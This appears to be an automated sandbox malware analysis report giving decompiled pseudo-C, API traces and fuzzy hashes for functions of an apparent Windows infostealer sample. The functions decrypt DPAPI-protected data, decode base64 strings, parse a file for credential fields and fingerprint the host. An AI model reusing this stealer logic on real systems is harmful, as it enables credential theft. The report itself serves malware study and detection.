Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00884408), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 96.3, APIs: 64, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,008842A8), ref: 00405705
lstrcat.KERNEL32(?,00884418), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,0089A070), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,008856F0), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00899088), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(00899268,00899268), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(008992B0,008992B0), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(00885890,00885890), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(008856B0,008856B0), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(008992F8,008992F8), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(008990D0,008990D0), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,0089BE10,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,0089B2D8,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(008992C8,008992C8), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(0089A060,0089A060), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,0089BB00,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,0089C098,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(0089A100,0089A100), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(0089A210,0089A210), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(00899310,00899310), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(008858B0,008858B0), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(00899100,00899100), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(00899028,00899028), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(008990E8,008990E8), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(00899118,00899118), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,008999A0,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,0089C320,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(0089A1A0,0089A1A0), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(00885910,00885910), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,00884BC0,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 1685704716-0
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x89ab68
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x89ada8
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x89ada8
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x89ac28
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x89a180
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x89a0a0
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x89a220
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x89b4d8
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x89b4d8
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x89b6f8
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x89a230
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x89b6f8
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x89b6f8
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x89a350
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x89a050
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
